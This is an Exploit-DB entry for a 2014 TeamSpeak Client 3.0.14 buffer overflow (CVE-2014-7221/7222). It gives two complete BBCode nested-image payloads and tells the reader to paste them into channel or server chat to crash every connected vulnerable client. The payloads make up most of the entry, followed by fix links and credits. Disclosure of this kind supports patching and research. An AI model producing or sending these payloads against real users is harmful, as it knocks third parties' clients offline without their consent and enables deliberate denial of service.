Exploit-DB #34857
Description: TeamSpeak Client 3.0.14 - Buffer Overflow
Type: dos
Platform: windows
Date: 2014-10-02
Author: SpyEye & Christian Galeon

Exploit:
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# Title                   : TeamSpeak Client v3.0.14 - Buffer Overflow Vulnerability
# Severity                : High+/Critical
# Reporter(s)             : SpyEye & Christian Galeone
# Software Version        : 3.0.14 & Previous Versions
# Software Name           : TeamSpeak Client
# Software Download Link  : http://letoltes.szoftverbazis.hu/IbAi1W2OLVclvRLS2KUGHw/[PII_REDACTED]/teamspeak-3014/TeamSpeak3-Client-win64-3.0.14.exe
# Vendor Home             : http://teamspeak.com/
# Date(s)                 : 01/04/2014 - 0r161n4l c0d3 By SpyEye
#                         : 21/05/2014 - v4r14n7 c0d3 By Christian Galeone
# Tested in               : Win7 - TeamSpeak Client V3.0.14
# CVE(s)                  : CVE-2014-7221 By SpyEye & CVE-2014-7222 By Christian Galeone
#
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# 
# Effects:
# 
# Mass Crash Client (You & The User(s) Connected With A Vulnerable Version Into YOUR Channel)
# 
# Note:
#
# The Following Code MUST Be Sent Into The Chat/Server Tab For A Channel/Server Crash Effect. 
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# PoC:
#  
#  1) Buffer Overflow Vulnerability - # 0r161n4l c0d3 n.1 # By SpyEye
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#  CVE: CVE-2014-7221
#
# [img][img]//http://www.teamspeak.com/templates/teamspeak_v3/images/blank.gif[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7a.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7b.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.24[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7z.png?ver=4.6.0.28[/img][/img]
# 
#  2) Buffer Overflow Vulnerability - # v4r14n7 c0d3 n.2 # By Christian Galeone
#
#  CVE: CVE-2014-7222
# 
# [img][img]\\1\z[/img][/img][img][img]\\2\z[/img][/img][img][img]\\3\z[/img][/img][img][img]\\4\z[/img][/img][img][img]\\5\z[/img][/img][img][img]\\6\z[/img][/img][img][img]\\7\z[/img][/img][img][img]\\8\z[/img][/img][img][img]\\9\z[/img][/img][img][img]\\10\z[/img][/img][img][img]\\11\z[/img][/img][img][img]\\12\z[/img][/img][img][img]\\13\z[/img][/img][img][img]\\14\z[/img][/img][img][img]\\15\z[/img][/img][img][img]\\16\z[/img][/img][img][img]\\17\z[/img][/img][img][img]\\18\z[/img][/img][img][img]\\1\z[/img][/img][img][img]\\2\z[/img][/img][img][img]\\3\z[/img][/img][img][img]\\4\z[/img][/img][img][img]\\5\z[/img][/img][img][img]\\6\z[/img][/img][img][img]\\7\z[/img][/img][img][img]\\8\z[/img][/img][img][img]\\9\z[/img][/img][img][img]\\10\z[/img][/img][img][img]\\11\z[/img][/img][img][img]\\12\z[/img][/img][img][img]\\13\z[/img][/img]
# 
# Fix:
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# http://screech.me/ts3/plugins/antifreeze.html
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#                    OR
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# http://www.teamspeak.com/?page=downloads
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# Original Source:
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# http://r4p3.net/public/ts3bbcodefreeze.txt
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# http://r4p3.net/forum/reverse-engineering/38/teamspeak-3-exploit-bb-code-freeze-crash-not-responding/905/
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# Credit(s):
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# SpyEye (http://forum.teamspeak.com/member.php/263635-SpyEye) - 0r161n4l 3xpl017 d3v3l0p3r
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# Christian Galeone - V4r14n7 3xpl017 d3v3l0p3r
#
#
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